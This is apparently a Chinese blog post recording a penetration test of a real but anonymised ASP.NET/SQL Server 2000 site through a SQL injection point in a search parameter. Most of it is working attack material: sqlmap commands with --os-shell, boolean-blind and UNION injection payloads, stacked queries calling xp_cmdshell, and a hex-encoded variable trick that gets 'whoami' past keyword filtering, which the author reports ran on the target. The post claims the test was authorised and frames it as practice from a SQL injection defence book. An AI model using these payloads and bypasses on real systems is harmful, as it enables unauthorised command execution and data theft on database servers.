zoukankan      html  css  js  c++  java
  • 【sql server inject】使用动态查询执行sql语句实例

    应某少年要求授权测试一个存在报错注入点的站点,可读取数据库名,但是sqlmap执行–os-shell选项就会莫名当掉; 
    分步骤测试了几次,发现xp_cmdshell是开启状态,但用sqlmap注入却无法利用XP_cmdshell执行命令?

    正好最近在读【SQL注入攻击与防御】,感觉这真是一个值得实践的好目标!

    为了简化测试步骤,所以文章分为5次进行记录;

    0x1 sqlmap常用语句测试

    测试1目的:执行cmd命令
    测试1结果,测试初期无法连接;

    -----------------------------------------------------

         C:UsersAdministrator>sqlmap -u "http://www.****.com/Index/SearchResult.
        aspx?KeyName=1&KeyWord=1"--level 5--risk 3--technique BST --batch --os-shell
        回显数据包【LOG】文件
        ---
        Parameter:KeyWord(GET)
        Type:boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload:KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
        ---
        [00:26:38][INFO] the back-end DBMS isMicrosoft SQL Server
        web server operating system:Windows2003or XP
        web application technology: ASP.NET,Microsoft IIS 6.0, ASP.NET 2.0.50727
        back-end DBMS:Microsoft SQL Server2000
        [00:26:38][CRITICAL] unable to prompt for an interactive operating system shell
        via the back-end DBMS because stacked queries SQL injection isnot supported
    

    测试2目的:执行获取数据库名;
    测试2结果:获取成功,判断是某个关键字被过滤了。

    -----------------------------------------------------
    C:UsersAdministrator>sqlmap -u "http://www.****.com/Index/SearchResult.
    aspx?KeyName=1&KeyWord=1" --level 5 --risk 3 --technique BST --batch --dbs
    

     回显数据包 【LOG】文件

    ---
    Parameter: KeyWord (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
    ---
    web server operating system: Windows 2003 or XP
    web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
    back-end DBMS: Microsoft SQL Server 2000
    available databases [7]:
    [*] master
    [*] model
    [*] msdb
    [*] Northwind
    [*] pubs
    [*] tempdb
    [*] w**er
    

     

    0x2 手工测试关键字过滤情况

    测试3目的:获取数据库名
    测试3结果:执行成功;

     -----------------------------------------------------

    http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,DB_NAME(5),3,4,5 FROM master..sysdatabases-- -
    

    测试4目的:查wooyundrops尝试手工输入sql语句利用xp_cmdshell执行命令
    测试4结果:无法连接服务器,返回404页面;

     -----------------------------------------------------

     ;EXEC master..xp_cmdshell 'net user'-- -
    

    测试5目的:尝试加入%符号到关键字中,输出关键字判断哪个关键字被过滤;
    测试5结果:xp_cmdshell,sp_configure又没有过滤了?但是匹配到”’的时候,出现一个sql语句错误。应该是(’)单引号被解析到正常语句中了

    -----------------------------------------------------
    http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,‘xp
    _shell’,3,4,5-- -
    

    测试目标报出的错误;

        “/”应用程序中的服务器错误。
        在关键字'And'附近有语法错误。
        说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
        异常详细信息:System.Exception:在关键字'And'附近有语法错误。
    

    解决:尝试用declare设置十六进制绕过;
    本地测试:

    -------------------
        declare @a sysname
        select@a=
        exec master.dbo.xp_cmdshell @a
    

    本地测试语句,其中【0x770068006F0061006D006900】解码后是【whoami】:

         SELECT TOP 2[id]
        ,[name]
        FROM [personnel].[dbo].[management];declare @a sysname select@a=0x770068006F0061006D006900exec master.dbo.xp_cmdshell @a;
    

     

    本地测试结果见tu1.jpg


    测试结果:目标无回显,但执行写入文件的命令是成功了。

    http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%’ ;declare @a sysname select @a=0x770068006F0061006D006900 exec master.dbo.xp_cmdshell @a;– -
    

    留下旗标;



  • 相关阅读:
    【11】 Java基础 <十一> —— equals的重写
    【10】 Java基础 <十> —— 用个人方法实现构造器的排序
    【9】 Java基础<九> —— 构造器的重载
    【8】 Java基础 <八> —— 方法的重载
    【7】 Java基础 <七> —— 自动装箱 自动拆箱
    【6】 Java基础 <六> —— super关键字
    Linux ssh下实现免密码登录(转载)
    Centos7 安装配置python3虚拟环境 virtualenvwrapper(转载)
    Linux 安装python3.7.0
    TOMCAT 日志自动删除
  • 原文地址:https://www.cnblogs.com/17bdw/p/5346835.html
Copyright © 2011-2022 走看看